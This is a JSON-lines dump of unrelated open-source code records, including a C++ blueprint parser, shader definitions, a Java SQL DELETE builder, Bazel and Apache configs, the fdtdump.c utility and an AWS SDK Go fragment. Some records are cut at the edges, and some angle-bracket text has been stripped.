out.node.content.elements().push_back(element);\n\n if (pd.exportSourceMap()) {\n\n SourceMap elementSM(Element::DataStructureElement);\n\n elementSM.content.dataStructure.name = namedType.sourceMap.name;\n elementSM.content.dataStructure.typeDefinition = namedType.sourceMap.typeDefinition;\n elementSM.content.dataStructure.sections = namedType.sourceMap.sections;\n\n out.sourceMap.content.elements().collection.push_back(elementSM);\n }\n }\n\n return cur;\n }\n\n static void finalize(\n const MarkdownNodeIterator& node, SectionParserData& pd, const ParseResultRef& out)\n {\n\n out.node.element = Element::CategoryElement;\n out.node.category = Element::DataStructureGroupCategory;\n\n if (pd.exportSourceMap()) {\n\n out.sourceMap.element = out.node.element;\n out.sourceMap.category = out.node.category;\n }\n }\n\n static SectionType sectionType(const MarkdownNodeIterator& node)\n {\n\n if (node->type == mdp::HeaderMarkdownNodeType && !node->text.empty()) {\n\n mdp::ByteBuffer remaining, subject = node->text;\n\n subject = GetFirstLine(subject, remaining);\n TrimString(subject);\n\n if (RegexMatch(subject, DataStructureGroupRegex)) {\n return DataStructureGroupSectionType;\n }\n }\n\n return UndefinedSectionType;\n }\n\n static SectionType nestedSectionType(const MarkdownNodeIterator& node)\n {\n\n return SectionProcessor::sectionType(node);\n }\n\n static SectionTypes upperSectionTypes()\n {\n return { DataStructureGroupSectionType, ResourceGroupSectionType, ResourceSectionType };\n }\n\n /**\n * \\brief Check if a named type already exists with the given name\n *\n * \\param blueprint The blueprint which is formed until now\n * \\param name The named type name to be checked\n */\n static bool isNamedTypeDuplicate(const Blueprint& blueprint, mdp::ByteBuffer& name)\n {\n\n for (Elements::const_iterator it = blueprint.content.elements().begin();\n it != blueprint.content.elements().end();\n ++it) {\n\n if (it->element == Element::CategoryElement) {\n\n for (Elements::const_iterator subIt = it->content.elements().begin();\n subIt != it->content.elements().end();\n ++subIt) {\n\n if (subIt->element == Element::ResourceElement\n && subIt->content.resource.attributes.name.symbol.literal == name) {\n\n return true;\n }\n\n if (subIt->element == Element::DataStructureElement\n && subIt->content.dataStructure.name.symbol.literal == name) {\n\n return true;\n }\n }\n }\n }\n\n return false;\n }\n };\n\n /** Data Structures Parser */\n typedef SectionParser DataStructureGroupParser;\n}\n\n#endif\n"} +{"text": "[package]\nname = \"verification\"\nversion = \"0.1.0\"\nauthors = [\"Nikolay Volf \"]\n\n[dependencies]\ntime = \"0.1\"\nlog = \"0.4\"\nrayon = \"1.0\"\nparking_lot = \"0.8\"\nbyteorder = \"1.2\"\nkeys = { path = \"../keys\" }\nprimitives = { path = \"../primitives\" }\nchain = { path = \"../chain\" }\nserialization = { path = \"../serialization\" }\nscript = { path = \"../script\" }\nnetwork = { path = \"../network\" }\nstorage = { path = \"../storage\" }\nbitcrypto = { path = \"../crypto\" }\nrustc-hex = \"2\"\nbitvec = \"0.10\"\nbitflags = \"1.0\"\n\n[dev-dependencies]\nrand = \"0.4\"\ntest-data = { path = \"../test-data\" }\ndb = { path = \"../db\" }\nassert_matches = \"1.3.0\"\nchain = { path = \"../chain\", features = [\"test-helpers\"] }\n"} +{"text": "#shader CDecalShaderTexZTest\n#instattribute position4 0\n#instattribute position4 1\n#instattribute position4 2\n#instattribute position4 3\n#instattribute color\n#instattribute uv4 0\n#instattribute uv4 1\n#instattribute uv4 2\n#instattribute uv4 3\n#srcfac srcalpha\n#dstfac invsrcalpha\n#primitive tristrips\n#depthtest lequal\n#depthwrite false\n#culling none\n\n#vertex glsl\nlayout(location=0) in vec4 posIn[4];\nlayout(location=4) in vec4 colorIn;\nlayout(location=5) in vec4 uvsIn[4];\n\nUBINDING0 uniform DecalUniform\n{\n mat4 mvp;\n vec4 moduColor;\n};\n\nstruct VertToFrag\n{\n vec4 color;\n vec2 uv;\n};\n\nSBINDING(0) out VertToFrag vtf;\nvoid main()\n{\n vtf.color = colorIn * moduColor;\n vtf.uv = uvsIn[gl_VertexID].xy;\n gl_Position = mvp * posIn[gl_VertexID];\n}\n\n#fragment glsl\nstruct VertToFrag\n{\n vec4 color;\n vec2 uv;\n};\n\nSBINDING(0) in VertToFrag vtf;\nlayout(location=0) out vec4 colorOut;\nTBINDING0 uniform sampler2D tex;\nvoid main()\n{\n colorOut = vtf.color * texture(tex, vtf.uv);\n}\n\n\n#vertex hlsl\nstruct VertData\n{\n float4 posIn[4] : POSITION;\n float4 colorIn : COLOR;\n float4 uvsIn[4] : UV;\n};\n\ncbuffer DecalUniform : register(b0)\n{\n float4x4 mvp;\n float4 moduColor;\n};\n\nstruct VertToFrag\n{\n float4 position : SV_Position;\n float4 color : COLOR;\n float2 uv : UV;\n};\n\nVertToFrag main(in VertData v, in uint vertId : SV_VertexID)\n{\n VertToFrag vtf;\n vtf.color = v.colorIn * moduColor;\n vtf.uv = v.uvsIn[vertId].xy;\n vtf.position = mul(mvp, v.posIn[vertId]);\n return vtf;\n}\n\n#fragment hlsl\nSamplerState samp : register(s0);\nTexture2D tex0 : register(t0);\nstruct VertToFrag\n{\n float4 position : SV_Position;\n float4 color : COLOR;\n float2 uv : UV;\n};\n\nfloat4 main(in VertToFrag vtf) : SV_Target0\n{\n return vtf.color * tex0.Sample(samp, vtf.uv);\n}\n\n\n#vertex metal\nstruct VertData\n{\n float4 posIn[4];\n float4 colorIn;\n float4 uvsIn[4];\n};\n\nstruct DecalUniform\n{\n float4x4 mvp;\n float4 moduColor;\n};\n\nstruct VertToFrag\n{\n float4 position [[ position ]];\n float4 color;\n float2 uv;\n};\n\nvertex VertToFrag vmain(constant VertData* va [[ buffer(1) ]],\n uint vertId [[ vertex_id ]], uint instId [[ instance_id ]],\n constant DecalUniform& decal [[ buffer(2) ]])\n{\n VertToFrag vtf;\n constant VertData& v = va[instId];\n vtf.color = v.colorIn * decal.moduColor;\n vtf.uv = v.uvsIn[vertId].xy;\n vtf.position = decal.mvp * v.posIn[vertId];\n return vtf;\n}\n\n#fragment metal\nstruct VertToFrag\n{\n float4 position [[ position ]];\n float4 color;\n float2 uv;\n};\n\nfragment float4 fmain(VertToFrag vtf [[ stage_in ]],\n sampler samp [[ sampler(0) ]],\n texture2d tex0 [[ texture(0) ]])\n{\n return vtf.color * tex0.sample(samp, vtf.uv);\n}\n\n\n#shader CDecalShaderTexAdditiveZTest : CDecalShaderTexZTest\n#srcfac srcalpha\n#dstfac one\n\n#shader CDecalShaderTexRedToAlphaZTest : CDecalShaderTexZTest\n#srcfac one\n#dstfac one\n#alphawrite true\n\n#fragment glsl\nstruct VertToFrag\n{\n vec4 color;\n vec2 uv;\n};\n\nSBINDING(0) in VertToFrag vtf;\nlayout(location=0) out vec4 colorOut;\nTBINDING0 uniform sampler2D tex;\nvoid main()\n{\n colorOut = vtf.color * texture(tex, vtf.uv);\n colorOut.a = colorOut.r;\n}\n\n\n#fragment hlsl\nSamplerState samp : register(s0);\nTexture2D tex0 : register(t0);\nstruct VertToFrag\n{\n float4 position : SV_Position;\n float4 color : COLOR;\n float2 uv : UV;\n};\n\nfloat4 main(in VertToFrag vtf) : SV_Target0\n{\n float4 colorOut = vtf.color * tex0.Sample(samp, vtf.uv);\n colorOut.a = colorOut.r;\n return colorOut;\n}\n\n\n#fragment metal\nstruct VertToFrag\n{\n float4 position [[ position ]];\n float4 color;\n float2 uv;\n};\n\nfragment float4 fmain(VertToFrag vtf [[ stage_in ]],\n sampler samp [[ sampler(0) ]],\n texture2d tex0 [[ texture(0) ]])\n{\n float4 colorOut = vtf.color * tex0.sample(samp, vtf.uv);\n colorOut.a = colorOut.r;\n return colorOut;\n}\n\n\n#shader CDecalShaderNoTexZTest\n#instattribute position4 0\n#instattribute position4 1\n#instattribute position4 2\n#instattribute position4 3\n#instattribute color\n#srcfac srcalpha\n#dstfac invsrcalpha\n#primitive tristrips\n#depthtest lequal\n#depthwrite false\n#alphawrite false\n#culling none\n\n#vertex glsl\nlayout(location=0) in vec4 posIn[4];\nlayout(location=4) in vec4 colorIn;\n\nUBINDING0 uniform DecalUniform\n{\n mat4 mvp;\n vec4 moduColor;\n};\n\nstruct VertToFrag\n{\n vec4 color;\n};\n\nSBINDING(0) out VertToFrag vtf;\nvoid main()\n{\n vtf.color = colorIn * moduColor;\n gl_Position = mvp * posIn[gl_VertexID];\n}\n\n#fragment glsl\nstruct VertToFrag\n{\n vec4 color;\n};\n\nSBINDING(0) in VertToFrag vtf;\nlayout(location=0) out vec4 colorOut;\nvoid main()\n{\n colorOut = vtf.color;\n}\n\n\n#vertex hlsl\nstruct VertData\n{\n float4 posIn[4] : POSITION;\n float4 colorIn : COLOR;\n};\n\ncbuffer DecalUniform : register(b0)\n{\n float4x4 mvp;\n float4 moduColor;\n};\n\nstruct VertToFrag\n{\n float4 position : SV_Position;\n float4 color : COLOR;\n};\n\nVertToFrag main(in VertData v, in uint vertId : SV_VertexID)\n{\n VertToFrag vtf;\n vtf.color = v.colorIn * moduColor;\n vtf.position = mul(mvp, v.posIn[vertId]);\n return vtf;\n}\n\n#fragment hlsl\nstruct VertToFrag\n{\n float4 position : SV_Position;\n float4 color : COLOR;\n};\n\nfloat4 main(in VertToFrag vtf) : SV_Target0\n{\n return vtf.color;\n}\n\n\n#vertex metal\nstruct VertData\n{\n float4 posIn[4];\n float4 colorIn;\n};\n\nstruct DecalUniform\n{\n float4x4 mvp;\n float4 moduColor;\n};\n\nstruct VertToFrag\n{\n float4 position [[ position ]];\n float4 color;\n};\n\nvertex VertToFrag vmain(constant VertData* va [[ buffer(1) ]],\n uint vertId [[ vertex_id ]], uint instId [[ instance_id ]],\n constant DecalUniform& decal [[ buffer(2) ]])\n{\n VertToFrag vtf;\n constant VertData& v = va[instId];\n vtf.color = v.colorIn * decal.moduColor;\n vtf.position = decal.mvp * v.posIn[vertId];\n return vtf;\n}\n\n#fragment metal\nstruct VertToFrag\n{\n float4 position [[ position ]];\n float4 color;\n};\n\nfragment float4 fmain(VertToFrag vtf [[ stage_in ]])\n{\n return vtf.color;\n}\n\n#shader CDecalShaderNoTexAdditiveZTest : CDecalShaderNoTexZTest\n#srcfac srcalpha\n#dstfac one\n"} +{"text": "package com.siimkinks.sqlitemagic;\n\nimport java.util.Collections;\n\nimport androidx.annotation.CheckResult;\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\n\n/**\n * Builder for SQL DELETE statement.\n */\npublic final class Delete extends DeleteSqlNode {\n Delete() {\n super(null);\n }\n\n @Override\n protected void appendSql(@NonNull StringBuilder sb) {\n sb.append(\"DELETE\");\n }\n\n /**\n * Create a new builder for SQL DELETE statement.\n *

\n * Note that {@code table} param must be one of annotation processor generated table\n * objects that corresponds to table in a database.
\n * Example:\n * 

{@code\n   * import static com.example.model.AuthorTable.AUTHOR;\n   *\n   * // [...]\n   *\n   * Delete.from(AUTHOR)\n   *       .where(AUTHOR.NAME.is(\"George\"));\n   * }
\n *\n * @param table Table to delete from. This param must be one of annotation processor\n * generated table objects that corresponds to table in a database\n * @param Table object type\n * @return A new builder for SQL DELETE statement\n */\n @CheckResult\n public static From from(@NonNull Table table) {\n return new From(new Delete(), table.name);\n }\n\n /**\n * Create a new builder for SQL DELETE statement.\n *

\n * Example:\n * 

{@code\n   * Delete.from(\"author\")\n   *       .where(\"author.name=?\", \"George\");\n   * }
\n *\n * @param tableName Table to delete from\n * @return A new builder for SQL DELETE statement\n */\n @CheckResult\n public static From from(@NonNull String tableName) {\n return new From(new Delete(), tableName);\n }\n\n /**\n * Builder for SQL DELETE statement.\n */\n public static final class From extends DeleteNode {\n @NonNull\n final String tableName;\n\n From(@NonNull Delete parent, @NonNull String tableName) {\n super(parent);\n this.tableName = tableName;\n deleteBuilder.from = this;\n }\n\n @Override\n protected void appendSql(@NonNull StringBuilder sb) {\n sb.append(\"FROM \");\n sb.append(tableName);\n }\n\n /**\n * Define SQL DELETE statement WHERE clause.\n *\n * @param expr WHERE clause expression\n * @return A builder for SQL DELETE statement\n */\n @CheckResult\n public Where where(@NonNull Expr expr) {\n return new Where(this, expr);\n }\n\n /**\n * Define SQL DELETE statement WHERE clause.\n *\n * @param whereClause WHERE clause\n * @param whereArgs WHERE clause arguments\n * @return A builder for SQL DELETE statement\n */\n @CheckResult\n public RawWhere where(@NonNull String whereClause, @Nullable String... whereArgs) {\n return new RawWhere(this, whereClause, whereArgs);\n }\n }\n\n /**\n * Builder for SQL DELETE statement.\n */\n public static final class Where extends DeleteNode {\n @NonNull\n private final Expr expr;\n\n Where(@NonNull DeleteSqlNode parent, @NonNull Expr expr) {\n super(parent);\n this.expr = expr;\n expr.addArgs(deleteBuilder.args);\n }\n\n @Override\n protected void appendSql(@NonNull StringBuilder sb) {\n sb.append(\"WHERE \");\n expr.appendToSql(sb);\n }\n }\n\n /**\n * Builder for SQL DELETE statement.\n */\n public static final class RawWhere extends DeleteNode {\n @NonNull\n private final String clause;\n\n RawWhere(@NonNull DeleteSqlNode parent, @NonNull String clause, @Nullable String[] args) {\n super(parent);\n this.clause = clause;\n if (args != null && args.length > 0) {\n Collections.addAll(deleteBuilder.args, args);\n }\n }\n\n @Override\n protected void appendSql(@NonNull StringBuilder sb) {\n sb.append(\"WHERE \");\n sb.append(clause);\n }\n }\n}\n"} +{"text": "package hcl\n\n// ExprCall tests if the given expression is a function call and,\n// if so, extracts the function name and the expressions that represent\n// the arguments. If the given expression is not statically a function call,\n// error diagnostics are returned.\n//\n// A particular Expression implementation can support this function by\n// offering a method called ExprCall that takes no arguments and returns\n// *StaticCall. This method should return nil if a static call cannot\n// be extracted. Alternatively, an implementation can support\n// UnwrapExpression to delegate handling of this function to a wrapped\n// Expression object.\nfunc ExprCall(expr Expression) (*StaticCall, Diagnostics) {\n\ttype exprCall interface {\n\t\tExprCall() *StaticCall\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(exprCall)\n\t\treturn supported\n\t})\n\n\tif exC, supported := physExpr.(exprCall); supported {\n\t\tif call := exC.ExprCall(); call != nil {\n\t\t\treturn call, nil\n\t\t}\n\t}\n\treturn nil, Diagnostics{\n\t\t&Diagnostic{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary: \"Invalid expression\",\n\t\t\tDetail: \"A static function call is required.\",\n\t\t\tSubject: expr.StartRange().Ptr(),\n\t\t},\n\t}\n}\n\n// StaticCall represents a function call that was extracted statically from\n// an expression using ExprCall.\ntype StaticCall struct {\n\tName string\n\tNameRange Range\n\tArguments []Expression\n\tArgsRange Range\n}\n"} +{"text": "package(default_visibility = [\"//visibility:public\"])\n\nlicenses([\"notice\"]) # MIT\n\nfilegroup(\n name = \"jni_src\",\n srcs = [\"decoder_jni.cc\"],\n)\n\njava_library(\n name = \"dec\",\n srcs = glob(\n [\"*.java\"],\n exclude = [\"*Test*.java\"],\n ),\n resource_jars = [\"//:license\"],\n)\n\njava_library(\n name = \"test_lib\",\n testonly = 1,\n srcs = glob([\"*Test*.java\"]),\n deps = [\n \":dec\",\n \"//org/brotli/integration:brotli_jni_test_base\",\n \"//org/brotli/integration:bundle_helper\",\n \"@junit_junit//jar\",\n ],\n)\n\nfilegroup(\n name = \"brotli_jni\",\n srcs = [\"//:brotli_jni.dll\"],\n)\n\nfilegroup(\n name = \"test_bundle\",\n srcs = [\"//org/brotli/integration:test_data\"],\n)\n\njava_test(\n name = \"BrotliDecoderChannelTest\",\n size = \"large\",\n data = [\n \":brotli_jni\", # Bazel JNI workaround\n \":test_bundle\",\n ],\n jvm_flags = [\n \"-DBROTLI_JNI_LIBRARY=$(location :brotli_jni)\",\n \"-DTEST_BUNDLE=$(location :test_bundle)\",\n ],\n test_class = \"org.brotli.wrapper.dec.BrotliDecoderChannelTest\",\n runtime_deps = [\":test_lib\"],\n)\n\njava_test(\n name = \"BrotliInputStreamTest\",\n size = \"large\",\n data = [\n \":brotli_jni\", # Bazel JNI workaround\n \":test_bundle\",\n ],\n jvm_flags = [\n \"-DBROTLI_JNI_LIBRARY=$(location :brotli_jni)\",\n \"-DTEST_BUNDLE=$(location :test_bundle)\",\n ],\n test_class = \"org.brotli.wrapper.dec.BrotliInputStreamTest\",\n runtime_deps = [\":test_lib\"],\n)\n\njava_test(\n name = \"DecoderTest\",\n size = \"large\",\n data = [\n \":brotli_jni\", # Bazel JNI workaround\n \":test_bundle\",\n ],\n jvm_flags = [\n \"-DBROTLI_JNI_LIBRARY=$(location :brotli_jni)\",\n \"-DTEST_BUNDLE=$(location :test_bundle)\",\n ],\n test_class = \"org.brotli.wrapper.dec.DecoderTest\",\n runtime_deps = [\":test_lib\"],\n)\n"} +{"text": "addProvider(new Person($faker));\n $this->faker = $faker;\n }\n\n public function testIfFirstNameMaleCanReturnData()\n {\n $firstNameMale = $this->faker->firstNameMale();\n $this->assertNotEmpty($firstNameMale);\n }\n\n public function testIfLastNameMaleCanReturnData()\n {\n $lastNameMale = $this->faker->lastNameMale();\n $this->assertNotEmpty($lastNameMale);\n }\n\n public function testIfFirstNameFemaleCanReturnData()\n {\n $firstNameFemale = $this->faker->firstNameFemale();\n $this->assertNotEmpty($firstNameFemale);\n }\n\n public function testIfLastNameFemaleCanReturnData()\n {\n $lastNameFemale = $this->faker->lastNameFemale();\n $this->assertNotEmpty($lastNameFemale);\n }\n}\n"} +{"text": "#\n# This configuration file reflects default settings for Apache HTTP Server.\n#\n# You may change these, but chances are that you may not need to.\n#\n\n#\n# Timeout: The number of seconds before receives and sends time out.\n#\nTimeout 300\n\n#\n# KeepAlive: Whether or not to allow persistent connections (more than\n# one request per connection). Set to \"Off\" to deactivate.\n#\nKeepAlive Off\n\n#\n# MaxKeepAliveRequests: The maximum number of requests to allow\n# during a persistent connection. Set to 0 to allow an unlimited amount.\n# We recommend you leave this number high, for maximum performance.\n#\nMaxKeepAliveRequests 1000\n\n#\n# KeepAliveTimeout: Number of seconds to wait for the next request from the\n# same client on the same connection.\n#\nKeepAliveTimeout 15\n\n#\n# UseCanonicalName: Determines how Apache constructs self-referencing \n# URLs and the SERVER_NAME and SERVER_PORT variables.\n# When set \"Off\", Apache will use the Hostname and Port supplied\n# by the client. When set \"On\", Apache will use the value of the\n# ServerName directive.\n#\nUseCanonicalName Off\n\n#\n# AccessFileName: The name of the file to look for in each directory\n# for additional configuration directives. See also the AllowOverride \n# directive.\n#\nAccessFileName .htaccess\n\n#\n# ServerTokens\n# This directive configures what you return as the Server HTTP response\n# Header. The default is 'Full' which sends information about the OS-Type\n# and compiled in modules.\n# Set to one of: Full | OS | Minor | Minimal | Major | Prod\n# where Full conveys the most information, and Prod the least.\n#\nServerTokens Prod\n\n#\n# Optionally add a line containing the server version and virtual host\n# name to server-generated pages (internal error documents, FTP directory \n# listings, mod_status and mod_info output etc., but not CGI generated \n# documents or custom error documents).\n# Set to \"EMail\" to also include a mailto: link to the ServerAdmin.\n# Set to one of: On | Off | EMail\n#\nServerSignature On\n\n#\n# HostnameLookups: Log the names of clients or just their IP addresses\n# e.g., www.apache.org (on) or 204.62.129.132 (off).\n# The default is off because it'd be overall better for the net if people\n# had to knowingly turn this feature on, since enabling it means that\n# each client request will result in AT LEAST one lookup request to the\n# nameserver.\n#\nHostnameLookups Off\n\nAddOutputFilterByType DEFLATE text/html text/plain text/css text/xml text/javascript\nDeflateCompressionLevel 6\nSetOutputFilter DEFLATE"} +{"text": "/*\n * fdtdump.c - Contributed by Pantelis Antoniou \n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \"util.h\"\n\n#define FDT_MAGIC_SIZE\t4\n#define MAX_VERSION 17\n\n#define ALIGN(x, a)\t(((x) + ((a) - 1)) & ~((a) - 1))\n#define PALIGN(p, a)\t((void *)(ALIGN((unsigned long)(p), (a))))\n#define GET_CELL(p)\t(p += 4, *((const fdt32_t *)(p-4)))\n\nstatic const char *tagname(uint32_t tag)\n{\n\tstatic const char * const names[] = {\n#define TN(t) [t] = #t\n\t\tTN(FDT_BEGIN_NODE),\n\t\tTN(FDT_END_NODE),\n\t\tTN(FDT_PROP),\n\t\tTN(FDT_NOP),\n\t\tTN(FDT_END),\n#undef TN\n\t};\n\tif (tag < ARRAY_SIZE(names))\n\t\tif (names[tag])\n\t\t\treturn names[tag];\n\treturn \"FDT_???\";\n}\n\n#define dumpf(fmt, args...) \\\n\tdo { if (debug) printf(\"// \" fmt, ## args); } while (0)\n\nstatic void dump_blob(void *blob, bool debug)\n{\n\tuintptr_t blob_off = (uintptr_t)blob;\n\tstruct fdt_header *bph = blob;\n\tuint32_t off_mem_rsvmap = fdt32_to_cpu(bph->off_mem_rsvmap);\n\tuint32_t off_dt = fdt32_to_cpu(bph->off_dt_struct);\n\tuint32_t off_str = fdt32_to_cpu(bph->off_dt_strings);\n\tstruct fdt_reserve_entry *p_rsvmap =\n\t\t(struct fdt_reserve_entry *)((char *)blob + off_mem_rsvmap);\n\tconst char *p_struct = (const char *)blob + off_dt;\n\tconst char *p_strings = (const char *)blob + off_str;\n\tuint32_t version = fdt32_to_cpu(bph->version);\n\tuint32_t totalsize = fdt32_to_cpu(bph->totalsize);\n\tuint32_t tag;\n\tconst char *p, *s, *t;\n\tint depth, sz, shift;\n\tint i;\n\tuint64_t addr, size;\n\n\tdepth = 0;\n\tshift = 4;\n\n\tprintf(\"/dts-v1/;\\n\");\n\tprintf(\"// magic:\\t\\t0x%\"PRIx32\"\\n\", fdt32_to_cpu(bph->magic));\n\tprintf(\"// totalsize:\\t\\t0x%\"PRIx32\" (%\"PRIu32\")\\n\",\n\t totalsize, totalsize);\n\tprintf(\"// off_dt_struct:\\t0x%\"PRIx32\"\\n\", off_dt);\n\tprintf(\"// off_dt_strings:\\t0x%\"PRIx32\"\\n\", off_str);\n\tprintf(\"// off_mem_rsvmap:\\t0x%\"PRIx32\"\\n\", off_mem_rsvmap);\n\tprintf(\"// version:\\t\\t%\"PRIu32\"\\n\", version);\n\tprintf(\"// last_comp_version:\\t%\"PRIu32\"\\n\",\n\t fdt32_to_cpu(bph->last_comp_version));\n\tif (version >= 2)\n\t\tprintf(\"// boot_cpuid_phys:\\t0x%\"PRIx32\"\\n\",\n\t\t fdt32_to_cpu(bph->boot_cpuid_phys));\n\n\tif (version >= 3)\n\t\tprintf(\"// size_dt_strings:\\t0x%\"PRIx32\"\\n\",\n\t\t fdt32_to_cpu(bph->size_dt_strings));\n\tif (version >= 17)\n\t\tprintf(\"// size_dt_struct:\\t0x%\"PRIx32\"\\n\",\n\t\t fdt32_to_cpu(bph->size_dt_struct));\n\tprintf(\"\\n\");\n\n\tfor (i = 0; ; i++) {\n\t\taddr = fdt64_to_cpu(p_rsvmap[i].address);\n\t\tsize = fdt64_to_cpu(p_rsvmap[i].size);\n\t\tif (addr == 0 && size == 0)\n\t\t\tbreak;\n\n\t\tprintf(\"/memreserve/ %#\"PRIx64\" %#\"PRIx64\";\\n\",\n\t\t addr, size);\n\t}\n\n\tp = p_struct;\n\twhile ((tag = fdt32_to_cpu(GET_CELL(p))) != FDT_END) {\n\n\t\tdumpf(\"%04zx: tag: 0x%08\"PRIx32\" (%s)\\n\",\n\t\t (uintptr_t)p - blob_off - 4, tag, tagname(tag));\n\n\t\tif (tag == FDT_BEGIN_NODE) {\n\t\t\ts = p;\n\t\t\tp = PALIGN(p + strlen(s) + 1, 4);\n\n\t\t\tif (*s == '\\0')\n\t\t\t\ts = \"/\";\n\n\t\t\tprintf(\"%*s%s {\\n\", depth * shift, \"\", s);\n\n\t\t\tdepth++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (tag == FDT_END_NODE) {\n\t\t\tdepth--;\n\n\t\t\tprintf(\"%*s};\\n\", depth * shift, \"\");\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (tag == FDT_NOP) {\n\t\t\tprintf(\"%*s// [NOP]\\n\", depth * shift, \"\");\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (tag != FDT_PROP) {\n\t\t\tfprintf(stderr, \"%*s ** Unknown tag 0x%08\"PRIx32\"\\n\", depth * shift, \"\", tag);\n\t\t\tbreak;\n\t\t}\n\t\tsz = fdt32_to_cpu(GET_CELL(p));\n\t\ts = p_strings + fdt32_to_cpu(GET_CELL(p));\n\t\tif (version < 16 && sz >= 8)\n\t\t\tp = PALIGN(p, 8);\n\t\tt = p;\n\n\t\tp = PALIGN(p + sz, 4);\n\n\t\tdumpf(\"%04zx: string: %s\\n\", (uintptr_t)s - blob_off, s);\n\t\tdumpf(\"%04zx: value\\n\", (uintptr_t)t - blob_off);\n\t\tprintf(\"%*s%s\", depth * shift, \"\", s);\n\t\tutilfdt_print_data(t, sz);\n\t\tprintf(\";\\n\");\n\t}\n}\n\n/* Usage related data. */\nstatic const char usage_synopsis[] = \"fdtdump [options] \";\nstatic const char usage_short_opts[] = \"ds\" USAGE_COMMON_SHORT_OPTS;\nstatic struct option const usage_long_opts[] = {\n\t{\"debug\", no_argument, NULL, 'd'},\n\t{\"scan\", no_argument, NULL, 's'},\n\tUSAGE_COMMON_LONG_OPTS\n};\nstatic const char * const usage_opts_help[] = {\n\t\"Dump debug information while decoding the file\",\n\t\"Scan for an embedded fdt in file\",\n\tUSAGE_COMMON_OPTS_HELP\n};\n\nstatic bool valid_header(char *p, off_t len)\n{\n\tif (len < sizeof(struct fdt_header) ||\n\t fdt_magic(p) != FDT_MAGIC ||\n\t fdt_version(p) > MAX_VERSION ||\n\t fdt_last_comp_version(p) > MAX_VERSION ||\n\t fdt_totalsize(p) >= len ||\n\t fdt_off_dt_struct(p) >= len ||\n\t fdt_off_dt_strings(p) >= len)\n\t\treturn 0;\n\telse\n\t\treturn 1;\n}\n\nint main(int argc, char *argv[])\n{\n\tint opt;\n\tconst char *file;\n\tchar *buf;\n\tbool debug = false;\n\tbool scan = false;\n\tsize_t len;\n\n\tfprintf(stderr, \"\\n\"\n\"**** fdtdump is a low-level debugging tool, not meant for general use.\\n\"\n\"**** If you want to decompile a dtb, you probably want\\n\"\n\"**** dtc -I dtb -O dts \\n\\n\"\n\t\t);\n\twhile ((opt = util_getopt_long()) != EOF) {\n\t\tswitch (opt) {\n\t\tcase_USAGE_COMMON_FLAGS\n\n\t\tcase 'd':\n\t\t\tdebug = true;\n\t\t\tbreak;\n\t\tcase 's':\n\t\t\tscan = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (optind != argc - 1)\n\t\tusage(\"missing input filename\");\n\tfile = argv[optind];\n\n\tbuf = utilfdt_read(file, &len);\n\tif (!buf)\n\t\tdie(\"could not read: %s\\n\", file);\n\n\t/* try and locate an embedded fdt in a bigger blob */\n\tif (scan) {\n\t\tunsigned char smagic[FDT_MAGIC_SIZE];\n\t\tchar *p = buf;\n\t\tchar *endp = buf + len;\n\n\t\tfdt_set_magic(smagic, FDT_MAGIC);\n\n\t\t/* poor man's memmem */\n\t\twhile ((endp - p) >= FDT_MAGIC_SIZE) {\n\t\t\tp = memchr(p, smagic[0], endp - p - FDT_MAGIC_SIZE);\n\t\t\tif (!p)\n\t\t\t\tbreak;\n\t\t\tif (fdt_magic(p) == FDT_MAGIC) {\n\t\t\t\t/* try and validate the main struct */\n\t\t\t\toff_t this_len = endp - p;\n\t\t\t\tif (valid_header(p, this_len))\n\t\t\t\t\tbreak;\n\t\t\t\tif (debug)\n\t\t\t\t\tprintf(\"%s: skipping fdt magic at offset %#zx\\n\",\n\t\t\t\t\t\tfile, p - buf);\n\t\t\t}\n\t\t\t++p;\n\t\t}\n\t\tif (!p || endp - p < sizeof(struct fdt_header))\n\t\t\tdie(\"%s: could not locate fdt magic\\n\", file);\n\t\tprintf(\"%s: found fdt at offset %#zx\\n\", file, p - buf);\n\t\tbuf = p;\n\t} else if (!valid_header(buf, len))\n\t\tdie(\"%s: header is not valid\\n\", file);\n\n\tdump_blob(buf, debug);\n\n\treturn 0;\n}\n"} +{"text": "

Description

\n\n\n

\nThree tracks contain subsets of the items in this track:\n

    \n
  • Common SNPs(142): SNPs that have a minor allele frequency\n of at least 1% and are mapped to a single location in the reference\n genome assembly. Frequency data are not available for all SNPs,\n so this subset is incomplete.
    • \n
  • Flagged SNPs(142): SNPs flagged as clinically associated by dbSNP, \n mapped to a single location in the reference genome assembly, and \n not known to have a minor allele frequency of at least 1%.\n Frequency data are not available for all SNPs, so this subset may\n include some SNPs whose true minor allele frequency is 1% or greater.
    • \n
  • Mult. SNPs(142): SNPs that have been mapped to multiple locations\n in the reference genome assembly.
    • \n
\n

\n

\nThe default maximum weight for this track is 1, so unless\nthe setting is changed in the track controls, SNPs that map to multiple genomic \nlocations will be omitted from display. When a SNP's flanking sequences \nmap to multiple locations in the reference genome, it calls into question \nwhether there is true variation at those sites, or whether the sequences\nat those sites are merely highly similar but not identical.\n

\n\n\n"} +{"text": "// Code generated by smithy-go-codegen DO NOT EDIT.\n\npackage iot1clickprojects\n\nimport (\n\t\"context\"\n\tawsmiddleware \"github.com/aws/aws-sdk-go-v2/aws/middleware\"\n\t\"github.com/aws/aws-sdk-go-v2/aws/retry\"\n\t\"github.com/aws/aws-sdk-go-v2/aws/signer/v4\"\n\t\"github.com/aws/aws-sdk-go-v2/service/iot1clickprojects/types\"\n\tsmithy \"github.com/awslabs/smithy-go\"\n\t\"github.com/awslabs/smithy-go/middleware\"\n\tsmithyhttp \"github.com/awslabs/smithy-go/transport/http\"\n)\n\n// Returns an object describing a project.\nfunc (c *Client) DescribeProject(ctx context.Context, params *DescribeProjectInput, optFns ...func(*Options)) (*DescribeProjectOutput, error) {\n\tstack := middleware.NewStack(\"DescribeProject\", smithyhttp.NewStackRequest)\n\toptions := c.options.Copy()\n\tfor _, fn := range optFns 